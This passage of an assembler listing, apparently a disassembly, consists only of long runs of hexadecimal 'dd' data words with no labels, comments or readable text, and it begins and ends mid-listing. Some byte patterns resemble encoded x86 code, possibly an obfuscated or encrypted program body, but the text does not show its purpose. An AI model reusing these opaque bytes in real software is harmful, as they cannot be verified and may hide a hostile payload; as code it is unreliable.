379AB084h, 3BA480A9h dd 594BA251h, 3EBAEC1Dh, 10E8h, 8F0F100h, 8D10FB57h, 1D16C548h dd 0FDE14433h, 8585895Bh, 58062B33h, 3195FF5Ah, 6A062B27h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0CAEEC351h, 0FE952h, 0E4540000h, 0C305C936h dd 8BA18564h, 78C61ABEh, 0C38B6686h, 95FF006Ah, 62B2945h dd 4FEBC08Bh, 0F8F63F8Ch, 28282F08h, 0ADB8322Bh, 0AEA15E2Dh dd 0DDAE2E2Eh, 474BC085h, 162D95EAh, 7C35A6F5h, 47ADDAD9h dd 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 90A37D43h, 4591AD94h dd 4282AA23h, 0BAF0A43h, 60F0194Fh, 0DAFE3269h, 0ABACB5CCh dd 0E82FE754h, 11h, 0C4705FE2h, 477F74FEh, 0C97CC52Eh dd 0BA73C413h, 0EE81Bh, 0C5E30000h, 8A851Fh, 0BEFAC4ACh dd 52B4FB7Bh, 58DBBF0Fh, 45858B5Eh, 81062B0Ah, 0D8CEC6h dd 29B86600h, 0B9A6h, 0BD290000h, 62B2D4Dh, 10E3C8Bh, 2B35B98Dh dd 0E2EF8106h, 29096EC5h, 2B0599B5h, 0DC78106h, 2954ED92h dd 2B1E7585h, 0E1F78106h, 807D6DA1h, 3C89D9D0h, 6DB8660Eh dd 2D9D891Ah, 81062B35h, 37A24FE9h, 0C181F956h, 5637A24Bh dd 0EC22BB66h, 27CCF981h, 850FFFFFh, 0FFFFFFACh, 1E65858Bh dd 31E9062Bh, 94000000h, 7C76C5h, 0Bh dup(0) dd 549E9h, 4D77E400h, 1D233651h, 0ECD286E1h, 0B89CD730h dd 53F237Ch, 20BD7C89h, 6F88043Eh, 0BED9D5EFh, 0C6BA799h dd 0E4B67254h, 42B73947h, 4ECA92D9h, 0A7E2716Ah, 223C8FB1h dd 0EBC0BA34h, 3A0E5394h, 515059C1h, 596FF217h, 2463EE3Dh dd 0B395C92Ch, 0F169B417h, 0C662FCCFh, 79B2B79h, 2DDC0E3Fh dd 7B898CD2h, 94EB27F1h, 62034408h, 94677EB6h, 0B2E16E8Ah dd 0B69196B3h, 984647F8h, 8E3C57Fh, 2E104645h, 354CBDDDh dd 0DFCA1533h, 6AFEF920h, 52B60E6h, 0E53C3C21h, 5769EE49h dd 0E578C756h, 0EA0308E3h, 0F6D09016h, 6C7E2D3Ah, 0EE6966B6h dd 4149697Bh, 3F5B94F2h, 0E0CBFD60h, 0F50AF5Eh, 416F62F6h dd 94EB0CAFh, 8420BCA2h, 211B3C5Bh, 8975B4CAh, 0F4D7E96Eh dd 3893B5A9h, 0BDF1D548h, 0B64A0A4h, 309C6F49h, 94EB0CA1h dd 0A155298Ah, 179A7FE2h, 8B55D51Dh, 19218A26h, 907DE990h dd 68217D97h, 0AD000000h, 76E1C781h, 6CD0451Bh, 4167CA39h dd 0A073BAD6h, 0EBB09C2Ch, 3A0EB794h, 9749620Ch, 0B1A7Dh dd 0A04F0000h, 0EBBC1A94h, 3AF36F94h, 0EADA819Ch, 261E7Dh dd 0B0A7FA89h, 61E03F8Ch, 7F8D1847h, 94EBC0CDh, 9C6F9E80h dd 0D48A7EF7h, 938FBFA9h, 0B17F4D0h, 90420D3Ch, 6D530619h dd 381E56B1h, 5B6DF0AFh, 81E8EC52h, 0B904E7D9h, 0FE49A2A2h dd 352D8145h, 0F8789713h, 0AAAE0DDEh, 0A2533794h, 9FAD38DEh dd 94EBC0EDh, 880FFE60h, 7D96DFEEh, 6B96h, 12713000h, 71B0794Fh dd 7B5D14E9h, 99728E90h, 0BC80D7B2h, 0C7DAD36Fh, 0FE709C91h dd 9394EBC0h, 0B9E4738Fh, 0E6E8ACA2h, 2FFE2F6Ch, 0B5F9CD66h dd 1F9BADh, 3887645Eh, 0CACC1F39h, 4F2B572Bh, 0F77D9738h dd 62h, 0F4213D58h, 417422BEh, 6B40DC26h, 81B0D6D7h, 1D78E7D9h dd 0FB8A0345h, 2289B3A4h, 980EF24Bh, 9C00FCC6h, 1EADA81h dd 0EBC03ECBh, 0B094CD94h, 594C045Bh, 0EBC0A14Bh, 2E4AD494h dd 0E0C67EDDh, 984F332Ah, 32E8DC65h, 5AD09447h, 4BB4DEB6h dd 1F2A39D4h, 5376B7D3h, 7D973017h, 1CFh, 12710B00h, 6AB57452h dd 0A4FBD0F6h, 0CE5D8AACh, 0EBC008A2h, 2CDD7D94h, 0D2B6AF59h dd 4A4678DCh, 0D17E73C3h, 0C6D9C2C3h, 7F1AA98Ah, 740AE1DBh dd 3F38C06Ah, 0F0FE396Dh, 0AE47C74Ch, 662CD4Dh, 0F19CC43Bh dd 958568A1h, 1F91BF4Ah, 726D3F48h, 136E3DECh, 4EABA451h dd 0D8EF37B9h, 2D2740BCh, 42B9E4D8h, 821EC02Fh, 3317A329h dd 0FD766D3Fh, 85A3A509h, 8376EE09h, 47CF36AFh, 53B8D446h dd 9972540Ch, 0DD2E1842h, 5E6D87Eh, 6F14E5A6h, 84E7671Eh dd 2704EBDFh, 0F9944A3Eh, 0F38F5C60h, 4B6DE73Ah, 0DB1E484Fh dd 47C6776Ah, 1, 38500271h, 0E805316Ah, 0B3C03021h, 0E1111824h dd 0F26C8AC6h, 15473219h, 5BC3DD8Fh, 22227DACh, 0F56F8804h dd 0D9754F10h, 7A4E138Eh, 33154A91h, 0E32A46D8h, 6E8BCD10h dd 67FBD0F6h, 5B019CCBh, 43C601B6h, 3C587AEBh, 60EF3ECDh dd 8130A6D5h, 0E2B55332h, 3E6C7AF4h, 9A130F6Dh, 4F099D61h dd 402AAD69h, 0E4776C86h, 4Fh, 10206FE6h, 8CDB7751h, 0EBC0AE60h dd 1AC0CF14h, 0D945D084h, 0DF7B4D13h, 0F8D34F2Eh, 183E3655h dd 527EAFB3h, 14EB53D8h, 0F99B6F86h, 0EEFA658Ah, 94EB533Ch dd 0E882AE3Dh, 9D94EB53h, 5308A2CEh, 0DD7D94EBh, 0B5A54841h dd 8CEA79h, 6FCC0000h, 0F685D21Fh, 2FFCD89Bh, 18223413h dd 0DB82FF91h, 4DCD8AC6h, 0C421237Eh, 930FAB8Dh, 5F19FC74h dd 0B38C9279h, 907B97B1h, 3F25AF3Ch, 0D867CA6Dh, 3F3922CCh dd 5208576Dh, 6B879B70h, 7122331Ch, 0F1386427h, 63E7448h dd 1565E420h, 0E2618FD8h, 69730A43h, 8DC71AF1h, 0FB613CABh dd 5158E6C5h, 4E3DD2C2h, 127E7CC4h, 49F23B12h, 9DC2C175h dd 0CF3E40ABh, 5681EE5Eh, 7FEF8D4Ah, 8EA1EC79h, 7E37ECC5h dd 0D24C2FDEh, 1F6FC2D6h, 0D87785D2h, 778ADE5Eh, 0BBBD00EBh dd 4E06619Dh, 3E8DB7ABh, 8A505720h, 4371DFEh, 0BACD03E8h dd 0E3E6E250h, 3030764Ah, 23BF89D5h, 2DC888E7h, 0A5B51636h dd 4B9C2E3Ah, 69F1EB62h, 0A0A3FECDh, 0C0752784h, 675B46FCh dd 955C762h, 0D470540Dh, 0AC8ACAD5h, 0CBED6423h, 41031CC2h dd 3CD8467h, 0B5000000h, 0DC817A5Eh, 84BC03E8h, 6DF249A2h dd 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h, 4A0E6DBEh dd 15489774h, 5008D833h, 405E089h, 83000000h, 0FF5004E8h dd 58042474h, 5C24048Fh, 81E18951h, 4C1h, 4E98100h, 87000000h dd 895C240Ch, 0FF682434h, 89000025h, 0BF57240Ch, 720E0786h dd 95CF8147h, 515B2963h, 0AA5840B9h, 8EC1811Bh, 16F58C2h dd 0FE8959CFh, 0C8B545Fh, 4C48324h, 242C8156h, 7F1136D9h dd 8108418Fh, 36D90841h, 34FF7F11h, 0C4835924h, 2434FF04h dd 4C4835Eh, 0F8F80FE9h, 1D73FDFFh, 2BB85ECEh, 3063287h dd 43E0FFC5h, 9B76C377h, 1B3CBFB9h, 0CD519431h, 4A092767h dd 21616BCAh, 90438DF6h, 0E21F6A6Ch, 3B1A9C0Bh, 0A768C3A4h dd 0F72054ADh, 6203D239h, 5913FFDCh, 2606E446h, 0E9398C82h dd 1Ah, 66508E41h, 5 dup(0) dd 1EE90000h, 6800000Eh, 6328A85h, 0F8F79BE9h, 8BAB68FFh dd 91E90632h, 68FFF8F7h, 6328C9Fh, 0F8F787E9h, 8D4268FFh dd 7DE90632h, 68FFF8F7h, 632904Ah, 0F8F773E9h, 936368FFh dd 69E90632h, 68FFF8F7h, 6329485h, 0F8F75FE9h, 4183D8FFh dd 11372A45h, 0E0E67A95h, 0AC88CB24h, 79431770h, 148170BDh dd 63BC7842h, 0B2CDC9FBh, 1F9BADh, 0F0AA6640h, 48A34D5Bh dd 52D692D9h, 0E7D9817Eh, 441D78h, 871697ABh, 0E11D2738h dd 8CDB1868h, 88BEA2E1h, 0BF311F23h, 0D294EBC0h, 7BF5034Ch dd 0E94EBC0h, 6A769910h, 8AC6F16Bh, 0ED0FAFE2h, 0C109F2Fh dd 0CCD867F0h, 6D3F0822h, 37BE1857h, 8078FD84h, 0FAD6A564h dd 6D3F736Ch, 0B39A0926h, 89CDB129h, 0B2968F7Eh, 620E810Ch dd 1EF877ACh, 817EE8EFh, 415C776Bh, 0B9C12A1Ah, 41BB70h dd 6F270000h, 7785D21Fh, 8AC68E7Eh, 3543EE7Dh, 6D3F0EBBh dd 0E48650CEh, 996D3F0Eh, 0F5650881h, 0E2CBA16h, 87DD6D3Fh dd 42176A41h, 61DAAD7Eh, 6C50099Dh, 5135CCD0h, 6BA84925h dd 7FD77h, 75D90000h, 8E7h, 0E1C7816Dh, 9BBDB70Ah, 519EEE1Fh dd 0C36D7B06h, 0B694EBC0h, 0C2EE61A8h, 8AC6DE3Fh, 0EF81AF3Ah dd 626D3F3Eh, 0F06E0DFCh, 0D372867h, 35C3099Ch, 7F6D3F3Eh dd 9AD402C6h, 42776BDBh, 5Bh, 0F0D28807h, 86071Bh, 85D21F6Fh dd 80AC8BF6h, 424EC8FAh, 0EBB6B436h, 3551C994h, 9CD5DCF4h dd 39C48AC6h, 3E9F812Bh, 0A36AF46Dh, 5F8D5EC0h, 6D3E9FB1h dd 0D0867AFBh, 9FB53745h, 56C86D3Eh, 8C5F61F9h, 0D29C3BF2h dd 8A776C38h, 100h, 0AB9DC0DFh, 0FB613E40h, 81C6C4C5h dd 0B76E1C7h, 0EEAF99DFh, 0A776B71Eh, 0EF3C0658h, 15F6D090h dd 6CA88EC6h, 0EB8EB462h, 25034594h, 3D237EE9h, 0DB886DD8h dd 1BB771DEh, 0F3D58F92h, 96DB2B18h, 8F2E3B49h, 0D9418AC6h dd 694732DDh, 3FBF39D0h, 5FEAC683h, 0B3536A10h, 7479C97Ah dd 0E22DBCEBh, 0D23BB5C3h, 0D04E6D3Eh, 0A4EF5767h, 0BFDEEA65h dd 0BA730CD2h, 39FD59CFh, 5DAEC2E4h, 5B4AF7B8h, 6EF04FEBh dd 48D65554h, 0E4DE801Fh, 3341EC7Bh, 6743EAB9h, 0EA8452CCh dd 9F6743EAh, 8AACA483h, 1E405F03h, 0E29E9E24h, 0DE0D5059h dd 0AF477h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh, 2C4B4779h dd 0C4961234h, 4A971927h, 6EEA92D9h, 24D9814Ah, 9DBD0E30h dd 0C0842632h, 61F994EBh, 535EC9C5h, 0FBE4525Eh, 8C931A13h dd 0A236F2D4h, 85D21F6Fh, 0C6EA7277h, 96CE0D8Ah, 0ABC75BB0h dd 2AFE8C40h, 4A0F6D3Fh, 0E469576h, 310B4F28h, 665A13DAh dd 22E61F83h, 6BC37AF4h, 0E72277h, 98270000h, 8B6064FDh dd 2647E9F7h, 243A6D3Fh, 0C781E1E5h, 4CD9EE32h, 4CB3B4DDh dd 89152A48h, 9BC460FCh, 886345FCh, 196437F6h, 0A5D07F41h dd 94E0A14h, 20AE4837h, 0B89766A7h, 206D1F2Dh, 7EE094EBh dd 413018Fh, 0A2A294EBh, 801F0884h, 7806E5DFh, 0D0F66EB1h dd 0F5FA4AFBh, 0C4292F6Ah, 0E65E3C90h, 0D2DB77EDh, 3200113Fh dd 0F36F8AC6h, 6AC63637h, 26B1CDEBh, 0CB8701Ah, 4A958573h dd 0C01F91BFh, 0EC726743h, 36F7D193h, 0E0DA7C1Bh, 7E97CB24h dd 1A9D68BFh, 0D55FFB2Eh, 5059A5F1h, 0CEB6994Ah, 2A000009h dd 7C9B1731h, 0CC2BE7D9h, 1D7AB688h, 6986025Ah, 0A6D3CFF1h dd 0CEF066F3h, 9FA9B5D2h, 69530463h, 341252ADh, 0FF0D22F8h dd 92D94B4Dh, 712C0400h, 0BB72E102h, 0B27B18E2h, 0D5D1EB6Fh dd 609CBABAh, 22C7817Ch, 0ACA3083Eh, 0EBC0EE80h, 63FF6394h dd 7AFD98C7h, 38F18962h, 785E1665h, 0C974A0EFh, 0FE497FE2h dd 8F7E4BCFh, 9C8D7BD3h, 8C98C72Ch, 8AC6F4C9h, 0B725E27Ch dd 0D775C948h, 6D7BA515h, 0C4FBD5C3h, 0C8C87A3Ah, 0BF7C2CE1h dd 0A892C4A3h, 48D4C30Ch, 0F0CFE60Dh, 25B05F4Eh, 0C1C8EE66h dd 0D63046CFh, 0D7C269DAh, 0D2DFB16Fh, 1B954301h, 2DD0E03h dd 0E0374F6h, 0AA1109DDh, 82B318B4h, 86923D32h, 0C33F9F8Dh dd 42319E80h, 0FCBC3ADEh, 0E968A167h, 251F3F5Ah, 0FDDB9DE4h dd 9B6EE601h, 32DFC1EFh, 7D8723C4h, 4A8B53h, 0DA004B98h dd 1E000008h, 708F0B3Dh, 0C0DFDBEDh, 116EAA9Ch, 5DBA7656h dd 0BAC7C305h, 0C2045AC7h, 93B5A9C6h, 5D67F817h, 280E46A1h dd 0F3012EECh, 92D94C79h, 8130080Ch, 83E22C7h, 0DE2E1FECh dd 0DF3A4691h, 0F68AC6F5h, 0BFA0FF68h, 1500AAB6h, 0B196D3Fh dd 6D3F1561h, 0A9B10A14h, 0B86910Dh, 81997256h, 3F8CB2A6h dd 0C297EA23h, 8723253Dh, 1506A824h, 8966D3Fh, 176D3F05h dd 7E1D4AA7h, 2C23EADCh, 121D6900h, 510D8873h, 5D8A9477h dd 427CBD4Fh, 5F4ED067h, 126942DCh, 0ECCE7452h, 1F505850h dd 83785CCh, 9AC30000h, 4E1572AEh, 0FF65827Eh, 0B3B2CDC9h dd 58FE1995h, 985FAA66h, 0A5615BFFh, 0FA36104Ah, 480C49Dh dd 534F69EBh, 0D4566289h, 0A992D94Dh, 1F6F97ABh, 0F27785D2h dd 8D8AC6D8h, 7CE33E8Dh, 0C0801F48h, 0B47505E6h, 9AAAB1CEh dd 31174E4Dh, 6B2625F8h, 29DAD3F5h, 617B43DDh, 0FD6D205Bh dd 98EAF661h, 0ED6D3F54h, 77EE9E6Dh, 4381F93h, 83A7ACDBh dd 0B36AC2DDh, 0C9B847Ah, 3FA14EE0h, 0EE1F036Dh, 3FA154E2h dd 0C1FF4B6Dh, 3FA139B3h, 0B6D24C6Dh, 0A1B51B29h, 0E9A46D3Fh dd 0D95C4D73h, 0A1C46672h, 22256D3Fh, 2299A10Ah, 0FB64A03Ch dd 0D50A59Ch, 4D62B0Ch, 97EA23BFh, 0A12FFCC0h, 6D3F231Bh dd 0C4EADE47h, 25367C91h, 0D86E002Ch, 7FE36D3Fh, 4F23B630h dd 0C598F733h, 0C6A42883h, 976D3F1Dh, 211B3CC1h, 99DB2685h dd 7F13816Ch, 0D06CEB9Fh, 0CFB3A8FBh, 976B9218h, 0A5BB4C13h dd 9A3648A3h, 56A3EF1Eh, 596EFB09h, 19016D3Fh, 258B1EB2h dd 94ADE0D8h, 11E882B0h, 619C030Ah, 3E000001h, 85D21F6Fh dd 0C6EAEA77h, 1E46858Ah, 166AEC0Ch, 0D5B01FBBh, 1E79B593h dd 0A4AB0026h, 0A9BAD1F9h, 0BFA08FB1h, 39575674h, 0F5F61949h dd 0DDD1B54Eh, 0D641BD9Bh, 0BE5FB0ABh, 0AB62ACBBh, 0D13A1C54h dd 0DFDB1864h, 44A781C0h, 5D597FF9h, 0C7240242h, 0EBDE2909h dd 11F50E95h, 1FDDB9Dh, 0D78B6EE6h, 0C97A51EDh, 0D9E7707Dh dd 94E8DE57h, 9FF8342Ah, 392A81BBh, 2937A0CDh, 94E8DE83h dd 4BA460FEh, 81DC2F09h, 1D78E7D9h, 0A99FC247h, 1F099C0Dh dd 0D48C22E6h, 9FD936F2h, 75832EB9h, 94E8DEFBh, 8A19908Eh dd 0CBD36DD9h, 73A6BE6h, 0F5DE2810h, 0F0DA898Ah, 26D75967h dd 0B4AA94E8h, 7A1CF18h, 4A94E826h, 0D0FC8BD4h, 94E8265Eh dd 516BEC33h, 0F10EF435h, 277A5177h, 0B197CD32h, 20BC82D6h dd 562AC3CBh, 0FA361050h, 2EFDDB9Dh, 0C9F36423h, 0BCAD5CE2h dd 29B42350h, 0E826911Bh, 0ED7AE494h, 0E8262DDFh, 0CF3E2094h dd 1A26B540h, 94E82690h, 1CB475E5h, 94E8269Eh, 318E109Fh dd 0A18EB0A4h, 1A934F0Ah, 0EA13449Bh, 0E77B5076h, 94F32F4Bh dd 2112F9C3h, 139DABD5h, 0EA94E8A5h, 24B759ADh, 1F42B943h dd 9FE80438h, 4C5B3803h, 428D2912h, 0E82A8436h, 82D6B594h dd 0DAD36FBCh, 0D7CBC75Bh, 25E1C781h, 9C4CD424h, 0A682728Dh dd 5DE87793h, 0E86342Eh, 5C4DD8E4h, 0C6561934h, 0A7B5408Ah dd 6D3E4605h, 4427E678h, 490E8DDAh, 0FB5CBB77h, 979EAC1h dd 0AC6D7BE4h, 0A3731373h, 9E2C47Ch, 0DAF6D571h, 67418B4Ch dd 418EE353h, 0BF81D7B2h, 59D3E16Ch, 2C67418Bh, 79179632h dd 796C93F0h, 0A64854E3h, 0DB799483h, 0BBA74647h, 426EFD50h dd 799483A8h, 354CBDDDh, 0D5EF1533h, 325682C9h, 52F6EE1h dd 92CB0000h, 461D7AB6h, 0F76D8A06h, 0BBBAD5D1h, 5006619Dh dd 9047B26Eh, 0AD695307h, 0C23E0852h, 0C88BCA5h, 5B5771F3h dd 0AC5E6A81h, 0A192D950h, 1F6F8FA3h, 0EA7785D2h, 858AC6D6h dd 0F9A3695h, 0FA6D3F36h, 8EB8A267h, 2A811D3Dh, 52B983D7h dd 9873550Fh, 23E71E86h, 0D5A9484Ch, 6BD3BDA9h, 0AC6177h dd 0F06D0000h, 94EBC052h, 9813E273h, 84D674E8h, 13492642h dd 2440DE2Dh, 5ABFB986h, 685C0306h, 0C763FFCCh, 0FCF342CBh dd 8CA34553h, 0B8A66B14h, 0CD15802Fh, 3637ED4Dh, 8F9416C0h dd 71E96B14h, 0DE96E5B8h, 0BE0D3CF8h, 981A26B1h, 0ED6B148Fh dd 24B39E6Dh, 148F9618h, 0A3B4EB6Bh, 758C7D99h, 7F4116F3h dd 0D72627E3h, 0B3214F98h, 0DE6B148Fh, 4FEBDD83h, 0CFC2507Ch dd 679E6B14h, 9E92E1A3h, 0C72A81A7h, 7574649Eh, 36C88BCh dd 0D73F125Fh, 0BF284457h, 654660E0h, 2F3DD4D5h, 6B14EDA1h dd 487CE5A0h, 40BCA241h, 0D2D3h, 1F6FC700h, 0F27785D2h dd 8D8AC6D8h, 4F4AB55Eh, 2B4782BEh, 0D4E17DC0h, 3FB226C8h dd 0ABC75B6Dh, 6699FE6Fh, 0B245EBF9h, 0E5386D3Fh, 0B651987Dh dd 150C087Fh, 0C38E5DF9h, 0F66D90C4h, 0C951BAD6h, 2723B0C0h dd 0C8696D3Fh, 0C4ACC6F4h, 8050776Bh, 72000000h, 8AD52A6Fh dd 0EBC0CC7Eh, 325EED94h, 94EBC0B8h, 0D95C4DCDh, 47176A41h dd 5B95F9AEh, 0EF0B2C72h, 5232560h, 0AD1198A6h, 60E357BCh dd 0E0BF2844h, 0DA644761h, 52103CD3h, 0D394EB84h, 0E3B88DA4h dd 84905F7Ah, 94EBD6EAh, 0A667839Fh, 5C705BC7h, 94EB96CEh dd 3C1E7D92h, 0A6988CD9h, 9834258Dh, 45FE2F33h, 9CBEDD81h dd 8DF263AAh, 91EFFD6Ah, 0FC6B141Dh, 1144B9A1h, 2638932Fh dd 818A0E8Ah, 93F22C7h, 0AB009CA2h, 0AD3A1C54h, 55546AEEh dd 3C237EE9h, 162A2F08h, 0F364A5B5h, 52E16E83h, 7F65EF27h dd 612C2FCh, 94EBFE64h, 8AE50119h, 963AF3D5h, 8AC6E003h dd 0A12FFC62h, 6D3EFC13h, 614A7CE2h, 99C5401Ah, 0A6C25CAFh dd 0F5C96245h, 10685AA1h, 6581AB74h, 8EBC80B1h, 776CBFE4h dd 5998h, 0E2713A00h, 0EBC054D6h, 0F8312994h, 6DFAF747h dd 85BFD3DEh, 9919C9BFh, 760FCC0h, 0FF83684Ch, 0B96F820Eh dd 0FF8A8AC6h, 3EFC5FD1h, 0FD2C326Dh, 5CB203Eh, 6D3EFC77h dd 2E9CF86h, 44A799BFh, 0FC71FB09h, 1A046D3Eh, 0D6996D90h dd 234F33C2h, 776C1647h, 0C2FFh, 1271DB00h, 8C92794Fh dd 6442021Dh, 1C263887h, 0D6F070CFh, 88AEA6F5h, 0D084030Ch dd 63913FEEh, 1294EBDBh, 0AFB87452h, 0FB546EF0h, 0F08E5D67h dd 486EE639h, 6D82F263h, 77C3D6E2h, 7FA27539h, 7608E3C5h dd 651DBE9h, 3A246D3Fh, 0E52319Eh, 1C0DF138h, 0C1847ACh dd 730DC61Ah, 0FD9A5443h, 159FA8A8h, 0DE091194h, 69A59FC3h dd 0CC76480Eh, 505A3802h, 1677DE0Dh, 0E2000002h, 34534F79h dd 84E31F21h, 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh dd 0D7F16D8Ah, 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D953B5h dd 81744CC8h, 0CC2BE7D9h, 5BA36194h, 0A7BF315Fh, 4CD294EBh dd 3BA812E3h, 6F7F639Fh, 0F685D21Fh, 0A852C39Bh, 8920A2DFh dd 345C4DE9h, 8AC6913Dh, 6EFDCE50h, 96173133h, 3EA56CFAh dd 2B1F266Dh, 6C3E73FFh, 10225177h, 0AD4C6A03h, 64294616h dd 12AE6877h, 0EC0E9Bh, 54430000h, 3B14693h, 0BE036C6Eh dd 81828441h, 71FC9A13h, 0C054D6E2h, 312994EBh, 89AFA9F8h dd 2701435Eh, 0A073BAC4h, 6568EEADh, 0EBC0D557h, 1AB6A894h dd 2160A9B1h, 28A40739h, 94EBDBFAh, 33EFC98Bh, 2DBA9CD4h dd 0FAD1F76Eh, 2289B3A7h, 7A09801Ch, 0B23C48D7h, 0C76B143Ch dd 71ECEC5Bh, 4846C1E2h, 0D060D041h, 0CE19B58Fh, 39B29FA2h dd 5FFF9A75h, 59C1A465h, 175CAC5Dh, 0DA9BCC8h, 62FC730Dh dd 332B66F5h, 0D1899811h, 82D433EFh, 0C0460AB8h, 0AE7D505Bh dd 0F4A7h, 6D570400h, 3D0356B1h, 8CB2A6C1h, 587CF710h dd 251F435Ch, 40DD9CE9h, 8FE8241Eh, 0DE39F5CFh, 2C4B4779h dd 0C4961234h, 54971927h, 6EEA92D9h, 24D9814Ah, 9FA30832h dd 0E8688703h, 5645D2CEh, 3332CC20h, 0DFA8B615h, 342B7663h dd 0BA7BB10h, 0E2710482h, 0EBC054D6h, 0F8312994h, 2289AFA9h dd 474365DFh, 0EE7976C6h, 0DE5838C2h, 0D872218Ah, 4FD3B2A7h dd 95C8AB62h, 23053CC9h, 0A24C5887h, 0D76D2641h, 81DC2F4Bh dd 3A25E1C7h, 45EE8D4Fh, 37F6FC65h, 7D4E68E8h, 98ACB3EEh dd 0D2FE2F33h, 0CC04349h, 0A509FD76h, 0EE0985A3h, 88075076h dd 21CEFC9h, 0A00B3D25h, 419C6F9Eh, 0DBC52606h, 8485E22h dd 3665F22Eh, 9B1E6134h, 748B0258h, 0FE8DDAFCh, 804C58D2h dd 0BB27A10Dh, 0AD2CF02Bh, 4AD9D04Eh, 0C03h, 271F700h dd 0F0F451B6h, 5A9C0D0Eh, 0E8DC817Eh, 0A284BC03h, 5B6DF249h dd 17312D70h, 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh dd 33154897h, 895608D8h, 4C681E6h, 83000000h, 343304EEh dd 24343124h, 5C243433h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h dd 68243489h, 4A8Bh, 57243C89h, 6D68EEBFh, 0FFC7812Eh dd 81FFFFFFh, 5FE0B4F7h, 5FFE8928h, 8904EC83h, 4832424h dd 835F0424h, 348904ECh, 8478F24h, 57243C8Bh, 0C781E789h dd 4, 8704C783h, 8B5C243Ch, 89532434h, 4C381E3h, 83000000h dd 1C8704C3h, 95E95C24h, 6FFFF8E9h, 66B78AF2h, 41A77598h dd 81F0E038h, 959EB854h, 0C5030632h, 82B0E0FFh, 5A130775h dd 0CF5D7463h, 0B787458Fh, 4B2536B9h, 850D7927h, 9ADA56B5h dd 7EF90BCAh, 28AC6924h, 52EF3563h, 14B27CC5h, 6D62336Eh dd 5946218Ch, 0A413E6Eh, 0F5A91604h, 0AE3A2DF5h, 3C9B20ADh dd 0DAF0091Ch, 0FBF25B44h, 5A950BF5h, 9D456210h, 7EF4C2Ah dd 13B518C4h, 0F5CD2014h, 0B43438C2h, 0B8ED03D7h, 0E909498Ah dd 0CB8694Bh, 2B4A5F52h, 79AE6AEBh, 14E8455Eh, 6F000000h dd 0E2868CAEh, 0A597F3E1h, 275AA88Fh, 0E9FE33CFh, 0F5365842h dd 81A7B558h, 6201C0h, 0D820F00h, 0E9000000h, 8, 0B0850DDEh dd 0A5CC6A15h, 1853BEh, 6E0EBA00h, 30FF2834h, 5E9h, 1D82A700h dd 0E85B6587h, 0Fh, 98AEC347h, 5A745B2Dh, 48FB14Bh, 5A9B656Ah dd 6B78F381h, 0E7813697h, 395E4DA7h, 4FEEC381h, 0FA8B561Dh dd 9DDEF381h, 8B537BC4h, 0E9008FD3h, 0Eh, 0F7ADCA6Bh, 3B7C4F48h dd 4965D0C9h, 0E883D499h, 0F88B6603h, 8C0F6048h, 2, 14BE5E50h dd 611E458Dh, 1EE81h, 850F0000h, 0FFFFFF8Ah, 0C78B6660h dd 61DFD080h, 13E8h, 4DDE8300h, 38202A1Eh, 4EF10179h, 1F01DF5Bh dd 8DE13461h, 7449B866h, 0BE959h, 0A5370000h, 32D9246Fh dd 17C12D8Eh, 0ABC181A2h, 0BA000074h, 104EC399h, 8BFCF633h dd 0E18A311Ch, 8E59EB81h, 8C0F786Fh, 5, 0C71D45BFh, 0FEEB8138h dd 0B842595Ah, 1916A8B3h, 0C4B7C381h, 0CE940BBh, 62000000h dd 234E89C9h, 175FA65h, 89403BD5h, 83F5311Ch, 0F56002EEh dd 7549E081h, 4E614618h, 0CE94Eh, 33720000h, 77318233h dd 0D9C197EFh, 0FE8197B5h, 0FFFF8BF0h dd 0FF99850Fh, 0C9B0FFFFh, 0ECE9h, 0 dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h dd 0E6000077h, 277h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 200h, 76AC2C00h, 11EF2232h, 1A064916h, 15668EB6h, 15E04B32h dd 1A662232h, 15661FB1h, 156E6032h, 58994432h, 1E2E8187h dd 7438CBD4h, 149F35B1h, 60664219h, 9CDBA13Bh, 15603A24h dd 46369146h, 4DE84B9h, 9C662236h, 3E7D90B7h, 60FB0534h dd 0EA60698Dh, 963E79E1h, 3E70988Fh, 2128834h, 4DE1762h dd 9C662236h, 3E7D90B7h, 71FB0534h, 0EA60698Eh, 0EC3E79E1h dd 11ED41C7h, 11A20B16h, 20DBC7CBh, 156010AAh, 1538953Dh dd 78F8832h, 2F664432h, 697129E5h, 33F28211h, 0A2D5A032h dd 0EDBFFEABh, 98694227h, 15661130h, 980771B8h, 270FACB7h dd 0A2694234h, 156EF8C8h, 4EE18832h, 0F8A8AED4h, 0EA0761F9h dd 90EBE9E2h, 1354E22Ah, 156650DBh, 107D7132h, 18D0C27Fh dd 53091F5Fh, 14F312C6h, 430C15C7h, 0ECB6EE41h, 264B0DF4h dd 0ED304219h, 0BDDE705Ah, 1563F8AEh, 4AC88832h, 0EDA8519Eh dd 0EBB97CDh, 128F1719h, 0F8668832h, 5D8A555h, 989EB744h dd 3BE5FAB7h, 0C5997D34h, 1565C13Dh, 0EC062232h, 40E39853h dd 0FC60A333h, 1566443Eh, 1904521Fh, 78A058DAh, 0F2588790h dd 267BC1F5h, 15662419h, 0D39F1132h, 3E55A5B7h, 1A060134h dd 9669D985h, 15661134h, 15660B3Dh, 7D074432h, 9B144B5Bh dd 15609F3Dh, 9E068832h, 74B8F7CAh, 1E7B97CDh, 1A061719h dd 58E408Dh, 0F664432h, 0A5C436A3h, 696D9F7Ah, 0EFCB5765h dd 4EA03BDFh, 30E3AF53h, 0EC603A0Eh, 9D6958CDh, 15664424h dd 1576AB3Dh, 1E8F1132h, 45668832h, 4476EBFBh, 1692BB1Bh dd 90EF0D4Dh, 134D8AF7h, 156656DBh, 0A8BE5432h, 0FBD58061h dd 5B170B15h, 0FEBBC8E9h, 0D3C0087Eh, 3E553CB7h, 7D9ACB34h dd 89012F6Ch, 1575A03Dh, 1B8F1132h, 25668832h, 2D4F9AB5h dd 6BDB18Ah, 0C9BA8CECh, 8D377DFh, 